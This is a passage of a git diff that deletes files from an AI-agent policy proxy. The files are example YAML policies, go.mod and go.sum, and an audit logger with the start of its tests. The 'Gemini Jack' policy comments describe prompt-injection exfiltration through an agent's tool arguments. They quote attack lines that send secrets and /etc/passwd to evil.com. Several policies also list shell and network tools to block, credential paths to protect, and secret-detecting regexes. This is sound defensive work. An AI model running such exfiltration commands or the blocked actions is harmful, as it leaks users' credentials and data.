)?PRIVATE KEY-----" diff --git a/implementations/go-proxy/examples/docker-wrapper.yaml b/implementations/go-proxy/examples/docker-wrapper.yaml deleted file mode 100644 index 929a4da..0000000 --- a/implementations/go-proxy/examples/docker-wrapper.yaml +++ /dev/null @@ -1,102 +0,0 @@ -# Docker Container MCP Server Policy Example -# -# This example shows how to properly wrap a Dockerized MCP server with AIP. -# -# IMPORTANT: Signal Propagation -# ============================= -# When AIP is terminated (SIGTERM/SIGINT), it sends SIGTERM to the subprocess. -# For Docker containers to properly receive this signal: -# -# 1. Use --rm flag: Container is removed when it exits -# 2. Use --init flag: Proper signal handling inside container -# 3. Use -i flag: Keep stdin open for JSON-RPC communication -# -# Example command: -# aip --policy docker-wrapper.yaml \ -# --target "docker run --rm --init -i mcp/filesystem:latest" -# -# Without these flags, stopping AIP may leave orphaned containers running! -# -# To verify cleanup works: -# 1. Start AIP with the target Docker container -# 2. Run: docker ps (note container ID) -# 3. Press Ctrl+C to stop AIP -# 4. Run: docker ps (container should be gone) -# -# If the container persists, manually clean up with: -# docker stop && docker rm - -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy - -metadata: - name: docker-mcp-server - version: "1.0.0" - owner: platform-team@company.com - -spec: - mode: enforce - - # Container-specific tool allowlist - # Adjust based on what your MCP server provides - allowed_tools: - # Filesystem tools (if using mcp/filesystem image) - - read_file - - list_directory - - get_file_info - - # Database tools (if using a DB MCP server) - # - query - # - list_tables - - # Custom container tools - # - your_custom_tool - - # Protected paths - prevent container escape attempts - protected_paths: - # Host paths that might be mounted - - /etc/passwd - - /etc/shadow - - /root - - ~/.ssh - - ~/.aws - # Container-specific paths - - /proc - - /sys - - /.dockerenv - - tool_rules: - # Require approval for any write operations - - tool: write_file - action: ask - allow_args: - path: "^/workspace/.*" # Only allow writes to workspace - - # Block potentially dangerous operations - - tool: execute_command - action: block - - - tool: shell_exec - action: block - - # Rate limit expensive operations - - tool: query - rate_limit: "10/minute" - - # DLP: Prevent secrets from leaking through container logs - dlp: - enabled: true - detect_encoding: true - filter_stderr: true # Important for Docker - catches container errors - patterns: - - name: "Docker Secret" - regex: "DOCKER_.*=.*" - - - name: "AWS Key" - regex: "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" - - - name: "Generic Secret" - regex: "(?i)(password|secret|token|api_key)\\s*[:=]\\s*['\"]?[^\\s'\"]+['\"]?" - - - name: "Private Key" - regex: "-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----" diff --git a/implementations/go-proxy/examples/gemini-jack-defense.yaml b/implementations/go-proxy/examples/gemini-jack-defense.yaml deleted file mode 100644 index 7f4dc14..0000000 --- a/implementations/go-proxy/examples/gemini-jack-defense.yaml +++ /dev/null @@ -1,160 +0,0 @@ -# AIP Policy: Gemini Jack Defense -# -# This policy demonstrates defenses against prompt injection attacks, -# including the "Gemini Jack" attack pattern where an adversary attempts -# to exfiltrate data through tool arguments. -# -# Attack patterns defended against: -# 1. Data exfiltration via URLs with embedded secrets -# 2. Shell command injection in tool arguments -# 3. Path traversal attacks (../) -# 4. Environment variable exfiltration -# 5. Output redirection to attacker endpoints -# -# Reference: https://embrace-the-red.com/blog/gemini-jack/ -# -# Usage: -# aip --policy examples/gemini-jack-defense.yaml --target "your-mcp-server" - -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy - -metadata: - name: gemini-jack-defense - version: "1.0.0" - owner: security-team@company.com - -spec: - mode: enforce - - allowed_tools: - # Read operations - - read_file - - list_directory - - search_files - - grep - - # Controlled network access - - fetch_url - - http_get - - # File operations (with restrictions) - - write_file - - tool_rules: - # === DEFENSE 1: URL Parameter Injection === - # Block URLs that could exfiltrate data via query parameters - # Attack: fetch_url("https://evil.com/steal?secret=" + secret_value) - - tool: fetch_url - action: allow - allow_args: - # Only allow specific trusted domains - url: "^https://(api\\.github\\.com|raw\\.githubusercontent\\.com|pypi\\.org|npmjs\\.com)/[a-zA-Z0-9/_.-]+$" - - - tool: http_get - action: allow - allow_args: - # Same restrictions for HTTP client - url: "^https://(api\\.github\\.com|raw\\.githubusercontent\\.com)/[a-zA-Z0-9/_.-]+$" - - # === DEFENSE 2: Path Traversal === - # Block ../ sequences that could access parent directories - # Attack: read_file("../../etc/passwd") - - tool: read_file - action: allow - allow_args: - # Block path traversal - no .. allowed - path: "^(?!.*\\.\\.).*$" - # Alternative: restrict to specific directory - # path: "^/workspace/.*$" - - - tool: write_file - action: ask # Require human approval for writes - allow_args: - path: "^(?!.*\\.\\.)[a-zA-Z0-9/_.-]+$" - # Also block writes to sensitive locations - # path: "^(?!.*(/.env|/secrets|/credentials|/.ssh)).*$" - - # === DEFENSE 3: Shell Command Injection === - # Block shell metacharacters in any exec tool - # Attack: exec("cat file; curl evil.com/$(cat /etc/passwd)") - - tool: exec_command - action: ask - allow_args: - # Block shell metacharacters: ; | & $ ` \ > < - command: "^[a-zA-Z0-9 _./=-]+$" - - - tool: run_command - action: ask - allow_args: - command: "^[a-zA-Z0-9 _./=-]+$" - - # === DEFENSE 4: Environment Variable Access === - # Block attempts to read environment variables - - tool: get_env - action: block - - - tool: env - action: block - - # === DEFENSE 5: Dangerous Operations === - # Always block these regardless of arguments - - tool: eval - action: block - - - tool: exec - action: block - - - tool: system - action: block - - - tool: subprocess - action: block - - - tool: popen - action: block - - # === DLP: Output Redaction === - # Even if an attack partially succeeds, redact sensitive data - # from responses before they reach the client - dlp: - enabled: true - patterns: - # AWS credentials - - name: "AWS Access Key" - regex: "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" - - - name: "AWS Secret Key" - regex: "(?i)aws_secret_access_key\\s*[:=]\\s*['\"]?([a-zA-Z0-9/+=]{40})['\"]?" - - # GitHub tokens (classic and fine-grained) - - name: "GitHub Token" - regex: "(ghp|gho|ghu|ghs|ghr)_[a-zA-Z0-9]{36,}" - - # Generic secrets - - name: "Generic Secret" - regex: "(?i)(secret|api_key|apikey|access_token|auth_token)\\s*[:=]\\s*['\"]?([a-zA-Z0-9-_]{16,})['\"]?" - - # Private keys - - name: "Private Key" - regex: "-----BEGIN (RSA |EC |DSA |OPENSSH |PGP )?PRIVATE KEY-----" - - # JWT tokens - - name: "JWT Token" - regex: "eyJ[a-zA-Z0-9_-]*\\.eyJ[a-zA-Z0-9_-]*\\.[a-zA-Z0-9_-]*" - - # Database connection strings - - name: "Database URL" - regex: "(?i)(postgres|mysql|mongodb|redis)://[a-zA-Z0-9:@._/-]+" - - # IP addresses (potential internal infrastructure) - - name: "Internal IP" - regex: "\\b(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)[0-9]{1,3}\\.[0-9]{1,3}\\b" - - # Email addresses (PII) - - name: "Email" - regex: "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}" - - # Social Security Numbers - - name: "SSN" - regex: "\\b\\d{3}-\\d{2}-\\d{4}\\b" diff --git a/implementations/go-proxy/examples/gpu-policy.yaml b/implementations/go-proxy/examples/gpu-policy.yaml deleted file mode 100644 index f978276..0000000 --- a/implementations/go-proxy/examples/gpu-policy.yaml +++ /dev/null @@ -1,109 +0,0 @@ -# GPU/Kubernetes Policy Example -# -# This policy demonstrates how to protect GPU and Kubernetes operations -# with AIP. Use this as a starting point for ML/AI infrastructure agents. -# -# Key features demonstrated: -# - Rate limiting for resource queries -# - Human-in-the-Loop for compute-intensive operations -# - Explicit blocking of destructive operations -# - DLP for protecting credentials in responses - -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy - -metadata: - name: gpu-policy - version: "1.0.0" - owner: ml-platform@company.com - -spec: - # Enforce mode - block violations - mode: enforce - - # Tools the agent is allowed to use - allowed_tools: - # GPU operations (read-only) - - list_gpus - - get_gpu_metrics - - get_gpu_utilization - - # Kubernetes read operations - - list_pods - - get_pod_logs - - describe_pod - - list_namespaces - - list_jobs - - # Job status checking - - get_job_status - - list_training_runs - - # Fine-grained tool rules - tool_rules: - # Rate limit GPU queries to prevent abuse - - tool: list_gpus - rate_limit: "10/minute" - - - tool: get_gpu_metrics - rate_limit: "30/minute" - - # Training operations require human approval - - tool: run_training - action: ask - - - tool: submit_job - action: ask - - - tool: allocate_gpu - action: ask - - # Scale operations require approval - - tool: scale_deployment - action: ask - - - tool: create_pod - action: ask - - # Destructive operations are blocked - - tool: delete_pod - action: block - - - tool: delete_job - action: block - - - tool: delete_namespace - action: block - - - tool: drain_node - action: block - - # Kubectl exec is dangerous - block entirely - - tool: kubectl_exec - action: block - - - tool: exec_command - action: block - - # DLP to prevent credential leakage in responses - dlp: - patterns: - # Kubernetes secrets - - name: "K8s Secret" - regex: "(?i)secret:\\s*[a-zA-Z0-9-_]+" - - # Service account tokens - - name: "K8s Token" - regex: "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9\\.[a-zA-Z0-9_-]+\\.[a-zA-Z0-9_-]+" - - # Kubeconfig credentials - - name: "Kubeconfig Cred" - regex: "(?i)(client-certificate-data|client-key-data|token):\\s*[a-zA-Z0-9+/=]+" - - # NVIDIA API keys - - name: "NVIDIA Key" - regex: "nvapi-[a-zA-Z0-9-_]{32,}" - - # Generic cloud credentials - - name: "Cloud Cred" - regex: "(?i)(aws_secret_access_key|azure_client_secret|gcp_private_key)\\s*[:=]\\s*['\"]?[a-zA-Z0-9+/=_-]+['\"]?" diff --git a/implementations/go-proxy/examples/identity-server.yaml b/implementations/go-proxy/examples/identity-server.yaml deleted file mode 100644 index 87e302e..0000000 --- a/implementations/go-proxy/examples/identity-server.yaml +++ /dev/null @@ -1,102 +0,0 @@ -# Example: AIP v1alpha2 with Identity and Server features -# -# This policy demonstrates the new server-side features in v1alpha2: -# - Agent identity tokens with automatic rotation -# - Server-side HTTP validation endpoint -# - Policy signing (optional) -# -# Use case: Enterprise deployment with centralized policy validation - -apiVersion: aip.io/v1alpha2 -kind: AgentPolicy -metadata: - name: enterprise-agent - version: "1.0.0" - owner: security-team@company.com - # Optional: Sign policy for integrity verification - # signature: "ed25519:YWJjZGVm..." - -spec: - # Enforcement mode - mode: enforce - - # Allowed tools - allowed_tools: - - read_file - - write_file - - list_directory - - search_code - - run_tests - - # Tool-specific rules - tool_rules: - - tool: write_file - action: allow - rate_limit: "20/minute" - allow_args: - path: "^/workspace/.*" # Only allow writes to workspace - - - tool: run_tests - action: ask # Require human approval for test execution - rate_limit: "5/hour" - - # Protected paths (auto-includes policy file) - protected_paths: - - "~/.ssh" - - "~/.aws" - - "~/.config/gcloud" - - ".env" - - ".env.*" - - "**/secrets/**" - - # DLP configuration - dlp: - enabled: true - detect_encoding: true - patterns: - - name: "AWS Key" - regex: "AKIA[0-9A-Z]{16}" - - name: "Private Key" - regex: "-----BEGIN (RSA |EC |DSA )?PRIVATE KEY-----" - - name: "API Token" - regex: "(?i)(api[_-]?key|token|secret)[\"']?\\s*[:=]\\s*[\"']?[a-zA-Z0-9_-]{20,}" - - # --- NEW IN v1alpha2 --- - - # Agent Identity Configuration - identity: - # Enable token generation - enabled: true - - # Token lifetime (short for security) - token_ttl: "10m" - - # Rotate tokens before expiry - rotation_interval: "8m" - - # Require tokens for all requests (enable after testing) - require_token: true - - # Bind session to process + policy - session_binding: "strict" - - # Server-Side Validation Configuration - server: - # Enable HTTP server - enabled: true - - # Listen address (localhost only for security) - listen: "127.0.0.1:9443" - - # TLS configuration (required for non-localhost) - # tls: - # cert: "/etc/aip/tls/cert.pem" - # key: "/etc/aip/tls/key.pem" - # client_ca: "/etc/aip/tls/ca.pem" # For mTLS - # require_client_cert: true - - # Custom endpoint paths (optional) - endpoints: - validate: "/v1/validate" - health: "/health" - metrics: "/metrics" diff --git a/implementations/go-proxy/examples/monitor-mode.yaml b/implementations/go-proxy/examples/monitor-mode.yaml deleted file mode 100644 index 6b84774..0000000 --- a/implementations/go-proxy/examples/monitor-mode.yaml +++ /dev/null @@ -1,79 +0,0 @@ -# AIP Policy: Monitor Mode (Audit-Only) -# -# This policy logs ALL tool invocations without blocking anything. -# Perfect for understanding agent behavior before enforcing policies. -# -# Use case: -# - Initial deployment to observe agent behavior -# - Testing new policies before enforcement -# - Compliance auditing -# - Debugging agent workflows -# -# Usage: -# aip --policy examples/monitor-mode.yaml --target "your-mcp-server" -# -# View audit log: -# cat aip-audit.jsonl | jq '.' -# -# Find violations (would have been blocked in enforce mode): -# cat aip-audit.jsonl | jq 'select(.violation == true)' - -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy - -metadata: - name: monitor-all - version: "1.0.0" - owner: platform-team@company.com - -spec: - # MONITOR MODE: Log everything, block nothing - # Violations are recorded but requests pass through - mode: monitor - - # Define what WOULD be allowed in enforce mode - # Tools not in this list will be logged as "violation: true" - allowed_tools: - # Common safe operations - - read_file - - list_directory - - search_files - - grep - - find - - cat - - ls - - # Tool rules that WOULD apply in enforce mode - # In monitor mode, violations are logged but allowed - tool_rules: - # Track file writes (would be blocked in enforce) - - tool: write_file - action: block - - # Track shell execution (would be blocked in enforce) - - tool: exec_command - action: block - - # Track git writes (would require approval in enforce) - - tool: git_push - action: ask - - # Track external requests (would be blocked in enforce) - - tool: fetch_url - action: block - allow_args: - url: "^https://.*" # Would only allow HTTPS - - # DLP scanning still applies in monitor mode - # Sensitive data is redacted from responses - dlp: - enabled: true - patterns: - - name: "API Key" - regex: "(?i)(api[_-]?key|apikey)\\s*[:=]\\s*['\"]?([a-zA-Z0-9-_]{20,})['\"]?" - - - name: "Password" - regex: "(?i)(password|passwd|pwd)\\s*[:=]\\s*['\"]?([^\\s'\"]+)['\"]?" - - - name: "Email" - regex: "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}" diff --git a/implementations/go-proxy/examples/read-only.yaml b/implementations/go-proxy/examples/read-only.yaml deleted file mode 100644 index a9ab58f..0000000 --- a/implementations/go-proxy/examples/read-only.yaml +++ /dev/null @@ -1,108 +0,0 @@ -# AIP Policy: Read-Only Mode -# -# This policy allows ONLY read operations - viewing files, listing directories, -# and searching content. All write, execute, and network operations are blocked. -# -# Use case: -# - Code review agents that only need to read and analyze code -# - Documentation generators that scan existing files -# - Static analysis tools -# -# Usage: -# aip --policy examples/read-only.yaml --target "your-mcp-server" - -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy - -metadata: - name: read-only-agent - version: "1.0.0" - owner: security-team@company.com - -spec: - mode: enforce - - # ONLY these read-only tools are allowed - # Everything else is blocked by default - allowed_tools: - # Filesystem reads - - cat - - ls - - head - - tail - - less - - find - - tree - - wc - - file - - stat - - # Content search - - grep - - egrep - - fgrep - - rg # ripgrep - - ag # silver searcher - - ack - - # Viewing/inspection - - read_file - - list_directory - - list_files - - get_file_contents - - view_file - - # Git read operations - - git_status - - git_log - - git_diff - - git_show - - git_blame - - tool_rules: - # Ensure 'find' only searches, no -exec or -delete - - tool: find - action: allow - allow_args: - # Block dangerous find options - command: "^(?!.*(-exec|-delete|-execdir)).*$" - - # Block any tool that could modify files - - tool: write_file - action: block - - tool: edit_file - action: block - - tool: delete_file - action: block - - tool: rm - action: block - - tool: mv - action: block - - tool: cp - action: block - - tool: chmod - action: block - - tool: chown - action: block - - # Block execution tools - - tool: exec_command - action: block - - tool: run_command - action: block - - tool: shell - action: block - - tool: bash - action: block - - tool: sh - action: block - - # Block network operations - - tool: curl - action: block - - tool: wget - action: block - - tool: fetch_url - action: block - - tool: http_request - action: block diff --git a/implementations/go-proxy/go.mod b/implementations/go-proxy/go.mod deleted file mode 100644 index 47d1300..0000000 --- a/implementations/go-proxy/go.mod +++ /dev/null @@ -1,13 +0,0 @@ -module github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy - -go 1.25 - -require ( - github.com/gen2brain/dlgs v0.0.0-20220603100644-40c77870fa8d - github.com/google/uuid v1.6.0 - golang.org/x/text v0.33.0 - golang.org/x/time v0.5.0 - gopkg.in/yaml.v3 v3.0.1 -) - -require github.com/gopherjs/gopherjs v1.17.2 // indirect diff --git a/implementations/go-proxy/go.sum b/implementations/go-proxy/go.sum deleted file mode 100644 index 5a3594d..0000000 --- a/implementations/go-proxy/go.sum +++ /dev/null @@ -1,14 +0,0 @@ -github.com/gen2brain/dlgs v0.0.0-20220603100644-40c77870fa8d h1:dHYKX8CBAs1zSGXm3q3M15CLAEwPEkwrK1ed8FCo+Xo= -github.com/gen2brain/dlgs v0.0.0-20220603100644-40c77870fa8d/go.mod h1:/eFcjDXaU2THSOOqLxOPETIbHETnamk8FA/hMjhg/gU= -github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= -github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/gopherjs/gopherjs v1.17.2 h1:fQnZVsXk8uxXIStYb0N4bGk7jeyTalG/wsZjQ25dO0g= -github.com/gopherjs/gopherjs v1.17.2/go.mod h1:pRRIvn/QzFLrKfvEz3qUuEhtE/zLCWfreZ6J5gM2i+k= -golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE= -golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8= -golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= -golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/implementations/go-proxy/pkg/audit/logger.go b/implementations/go-proxy/pkg/audit/logger.go deleted file mode 100644 index 256c60f..0000000 --- a/implementations/go-proxy/pkg/audit/logger.go +++ /dev/null @@ -1,380 +0,0 @@ -// Package audit provides structured audit logging for AIP policy decisions. -// -// CRITICAL: This logger writes ONLY to a file (aip-audit.jsonl), NEVER to stdout. -// stdout is reserved exclusively for JSON-RPC transport between client and server. -// Writing logs to stdout would corrupt the JSON-RPC message stream. -// -// Log entries are written in JSON Lines format (one JSON object per line) to -// support streaming consumption by log aggregators and SIEM systems. -package audit - -import ( - "context" - "fmt" - "io" - "log/slog" - "os" - "sync" - "time" -) - -// Direction indicates the flow direction of the intercepted message. -type Direction string - -const ( - // DirectionUpstream = Client β†’ Server (agent β†’ MCP server) - DirectionUpstream Direction = "upstream" - // DirectionDownstream = Server β†’ Client (MCP server β†’ agent) - DirectionDownstream Direction = "downstream" -) - -// Decision represents the policy engine's authorization decision. -type Decision string - -const ( - // DecisionAllow - Request permitted, forwarded to server - DecisionAllow Decision = "ALLOW" - // DecisionBlock - Request denied, error returned to client - DecisionBlock Decision = "BLOCK" - // DecisionAllowMonitor - Would be blocked, but monitor mode allowed passthrough - DecisionAllowMonitor Decision = "ALLOW_MONITOR" - // DecisionRateLimited - Request denied due to rate limit exceeded - DecisionRateLimited Decision = "RATE_LIMITED" - // DecisionDLPRedacted - Response contained sensitive data that was redacted - DecisionDLPRedacted Decision = "DLP_TRIGGERED" -) - -// PolicyMode represents the enforcement mode of the policy. -type PolicyMode string - -const ( - // PolicyModeEnforce - Violations are blocked (default) - PolicyModeEnforce PolicyMode = "enforce" - // PolicyModeMonitor - Violations are logged but allowed (dry run) - PolicyModeMonitor PolicyMode = "monitor" -) - -// Entry represents a single audit log entry. -// -// Example JSON output: -// -// { -// "timestamp": "2025-01-20T10:30:45.123Z", -// "direction": "upstream", -// "method": "tools/call", -// "tool": "delete_file", -// "args": {"path": "/etc/passwd"}, -// "decision": "BLOCK", -// "policy_mode": "enforce", -// "violation": true, -// "failed_arg": "path", -// "failed_rule": "^/home/.*" -// } -type Entry struct { - Timestamp time.Time `json:"timestamp"` - Direction Direction `json:"direction"` - Method string `json:"method,omitempty"` - Tool string `json:"tool,omitempty"` - Args map[string]any `json:"args,omitempty"` - Decision Decision `json:"decision"` - PolicyMode PolicyMode `json:"policy_mode"` - Violation bool `json:"violation"` - FailedArg string `json:"failed_arg,omitempty"` - FailedRule string `json:"failed_rule,omitempty"` - PolicyName string `json:"policy_name,omitempty"` - RequestID string `json:"request_id,omitempty"` - ErrorReason string `json:"error_reason,omitempty"` -} - -// Logger provides structured audit logging to a file. -// -// Thread-safety: Logger is safe for concurrent use. The underlying slog.Logger -// and file writes are protected by a mutex. -// -// CRITICAL: This logger NEVER writes to stdout. All output goes to the -// configured file path to preserve the JSON-RPC transport stream. -type Logger struct { - slogger *slog.Logger - file *os.File - mu sync.Mutex - mode PolicyMode -} - -// Config holds configuration for the audit logger. -type Config struct { - // FilePath is the path to the audit log file. - // Default: "aip-audit.jsonl" in current directory. - FilePath string - - // Mode is the policy enforcement mode (enforce/monitor). - // Used to populate the policy_mode field in log entries. - Mode PolicyMode -} - -// DefaultConfig returns the default audit logger configuration. -func DefaultConfig() *Config { - return &Config{ - FilePath: "aip-audit.jsonl", - Mode: PolicyModeEnforce, - } -} - -// NewLogger creates a new audit logger writing to the specified file. -// -// CRITICAL: This function validates that we are NOT writing to stdout. -// The file is opened in append mode to preserve existing audit trail. -// -// Returns error if: -// - File path is empty -// - File cannot be opened/created -// - File path points to stdout ("/dev/stdout" or similar) -func NewLogger(cfg *Config) (*Logger, error) { - if cfg == nil { - cfg = DefaultConfig() - } - - if cfg.FilePath == "" { - cfg.FilePath = "aip-audit.jsonl" - } - - // CRITICAL SAFETY CHECK: Ensure we NEVER write to stdout - // stdout is reserved for JSON-RPC transport - if isStdoutPath(cfg.FilePath) { - return nil, fmt.Errorf("audit logger MUST NOT write to stdout (path: %s); stdout is reserved for JSON-RPC transport", cfg.FilePath) - } - - // Open file in append mode, create if not exists - file, err := os.OpenFile(cfg.FilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) - if err != nil { - return nil, fmt.Errorf("failed to open audit log file %q: %w", cfg.FilePath, err) - } - - // Create JSON handler writing to file - // IMPORTANT: We explicitly pass the file, not os.Stdout - handler := slog.NewJSONHandler(file, &slog.HandlerOptions{ - Level: slog.LevelInfo, - }) - - return &Logger{ - slogger: slog.New(handler), - file: file, - mode: cfg.Mode, - }, nil -} - -// isStdoutPath checks if the given path would write to stdout. -func isStdoutPath(path string) bool { - // Common paths that point to stdout - stdoutPaths := []string{ - "/dev/stdout", - "/dev/fd/1", - "/proc/self/fd/1", - } - for _, p := range stdoutPaths { - if path == p { - return true - } - } - return false -} - -// NewNopLogger creates a no-op logger that discards all entries. -// Useful for testing or when audit logging is disabled. -func NewNopLogger() *Logger { - handler := slog.NewJSONHandler(io.Discard, nil) - return &Logger{ - slogger: slog.New(handler), - file: nil, - mode: PolicyModeEnforce, - } -} - -// Log writes an audit entry to the log file. -// -// This method is safe for concurrent use from multiple goroutines. -func (l *Logger) Log(entry *Entry) { - l.mu.Lock() - defer l.mu.Unlock() - - // Set timestamp if not provided - if entry.Timestamp.IsZero() { - entry.Timestamp = time.Now().UTC() - } - - // Set policy mode from logger config if not specified - if entry.PolicyMode == "" { - entry.PolicyMode = l.mode - } - - // Build slog attributes from entry - attrs := []slog.Attr{ - slog.Time("timestamp", entry.Timestamp), - slog.String("direction", string(entry.Direction)), - slog.String("decision", string(entry.Decision)), - slog.String("policy_mode", string(entry.PolicyMode)), - slog.Bool("violation", entry.Violation), - } - - if entry.Method != "" { - attrs = append(attrs, slog.String("method", entry.Method)) - } - if entry.Tool != "" { - attrs = append(attrs, slog.String("tool", entry.Tool)) - } - if entry.Args != nil { - attrs = append(attrs, slog.Any("args", entry.Args)) - } - if entry.FailedArg != "" { - attrs = append(attrs, slog.String("failed_arg", entry.FailedArg)) - } - if entry.FailedRule != "" { - attrs = append(attrs, slog.String("failed_rule", entry.FailedRule)) - } - if entry.PolicyName != "" { - attrs = append(attrs, slog.String("policy_name", entry.PolicyName)) - } - if entry.RequestID != "" { - attrs = append(attrs, slog.String("request_id", entry.RequestID)) - } - if entry.ErrorReason != "" { - attrs = append(attrs, slog.String("error_reason", entry.ErrorReason)) - } - - // Log the entry - l.slogger.LogAttrs(context.Background(), slog.LevelInfo, "audit", attrs...) -} - -// LogToolCall is a convenience method for logging tool call decisions. -func (l *Logger) LogToolCall(tool string, args map[string]any, decision Decision, violation bool, failedArg, failedRule string) { - l.Log(&Entry{ - Direction: DirectionUpstream, - Method: "tools/call", - Tool: tool, - Args: args, - Decision: decision, - Violation: violation, - FailedArg: failedArg, - FailedRule: failedRule, - }) -} - -// LogMethodBlock logs when a JSON-RPC method is blocked by policy. -// This is for method-level blocking (e.g., resources/read) which happens -// BEFORE tool-level policy checks. -func (l *Logger) LogMethodBlock(method string, reason string) { - l.mu.Lock() - defer l.mu.Unlock() - - attrs := []slog.Attr{ - slog.Time("timestamp", time.Now().UTC()), - slog.String("direction", string(DirectionUpstream)), - slog.String("event", "METHOD_BLOCKED"), - slog.String("method", method), - slog.String("reason", reason), - slog.String("policy_mode", string(l.mode)), - } - - l.slogger.LogAttrs(context.Background(), slog.LevelWarn, "method_block", attrs...) -} - -// LogProtectedPathBlock logs when a tool call is blocked due to accessing a protected path. -// This is a critical security event - it may indicate an agent attempting policy -// self-modification or accessing sensitive credentials. -// -// Example JSON output: -// -// { -// "timestamp": "2025-01-20T10:30:45.123Z", -// "direction": "upstream", -// "event": "PROTECTED_PATH_BLOCKED", -// "tool": "write_file", -// "protected_path": "/home/user/.ssh/id_rsa", -// "policy_mode": "enforce" -// } -func (l *Logger) LogProtectedPathBlock(tool string, protectedPath string, args map[string]any) { - l.mu.Lock() - defer l.mu.Unlock() - - attrs := []slog.Attr{ - slog.Time("timestamp", time.Now().UTC()), - slog.String("direction", string(DirectionUpstream)), - slog.String("event", "PROTECTED_PATH_BLOCKED"), - slog.String("tool", tool), - slog.String("protected_path", protectedPath), - slog.String("policy_mode", string(l.mode)), - } - - // Include sanitized args for forensic analysis - if args != nil { - attrs = append(attrs, slog.Any("args", args)) - } - - l.slogger.LogAttrs(context.Background(), slog.LevelWarn, "protected_path_block", attrs...) -} - -// LogDLPEvent logs a DLP redaction event. -// -// Called when the downstream response contains sensitive data that was redacted. -// Each DLP rule that triggered a match generates a separate log entry. -// -// Example JSON output: -// -// { -// "timestamp": "2025-01-20T10:30:45.123Z", -// "direction": "downstream", -// "event": "DLP_TRIGGERED", -// "dlp_rule": "AWS Key", -// "dlp_action": "REDACTED", -// "dlp_match_count": 2 -// } -func (l *Logger) LogDLPEvent(ruleName string, matchCount int) { - l.mu.Lock() - defer l.mu.Unlock() - - attrs := []slog.Attr{ - slog.Time("timestamp", time.Now().UTC()), - slog.String("direction", string(DirectionDownstream)), - slog.String("event", "DLP_TRIGGERED"), - slog.String("dlp_rule", ruleName), - slog.String("dlp_action", "REDACTED"), - slog.Int("dlp_match_count", matchCount), - } - - l.slogger.LogAttrs(context.Background(), slog.LevelWarn, "dlp", attrs...) -} - -// SetMode updates the policy mode for subsequent log entries. -func (l *Logger) SetMode(mode PolicyMode) { - l.mu.Lock() - defer l.mu.Unlock() - l.mode = mode -} - -// GetMode returns the current policy mode. -func (l *Logger) GetMode() PolicyMode { - l.mu.Lock() - defer l.mu.Unlock() - return l.mode -} - -// Close closes the audit log file. -func (l *Logger) Close() error { - l.mu.Lock() - defer l.mu.Unlock() - - if l.file != nil { - return l.file.Close() - } - return nil -} - -// Sync flushes any buffered data to the underlying file. -func (l *Logger) Sync() error { - l.mu.Lock() - defer l.mu.Unlock() - - if l.file != nil { - return l.file.Sync() - } - return nil -} diff --git a/implementations/go-proxy/pkg/audit/logger_test.go b/implementations/go-proxy/pkg/audit/logger_test.go deleted file mode 100644 index 3eebf1a..0000000 --- a/implementations/go-proxy/pkg/audit/logger_test.go +++ /dev/null @@ -1,197 +0,0 @@ -// Package audit tests for the AIP audit logger. -package audit - -import ( - "encoding/json" - "os" - "path/filepath" - "strings" - "testing" -) - -// TestNewLoggerCreatesFile tests that NewLogger creates the audit file. -func TestNewLoggerCreatesFile(t *testing.T) { - tmpDir := t.TempDir() - logPath := filepath.Join(tmpDir, "test-audit.jsonl") - - logger, err := NewLogger(&Config{ - FilePath: logPath, - Mode: PolicyModeEnforce, - }) - if err != nil { - t.Fatalf("NewLogger() error = %v", err) - } - defer func() { _ = logger.Close() }() - - // Verify file was created - if _, err := os.Stat(logPath); os.IsNotExist(err) { - t.Error("NewLogger() did not create audit file") - } -} - -// TestLoggerRejectsStdout tests that the logger refuses to write to stdout. -func TestLoggerRejectsStdout(t *testing.T) { - stdoutPaths := []string{ - "/dev/stdout", - "/dev/fd/1", - "/proc/self/fd/1", - } - - for _, path := range stdoutPaths { - _, err := NewLogger(&Config{FilePath: path}) - if err == nil { - t.Errorf("NewLogger(%q) should have failed but succeeded", path) - } - if !strings.Contains(err.Error(), "stdout") { - t.Errorf("Error should mention stdout, got: %v", err) - } - } -} - -// TestLogWritesToFile tests that Log() writes entries to the file. -func TestLogWritesToFile(t *testing.T) { - tmpDir := t.TempDir() - logPath := filepath.Join(tmpDir, "test-audit.jsonl") - - logger, err := NewLogger(&Config{ - 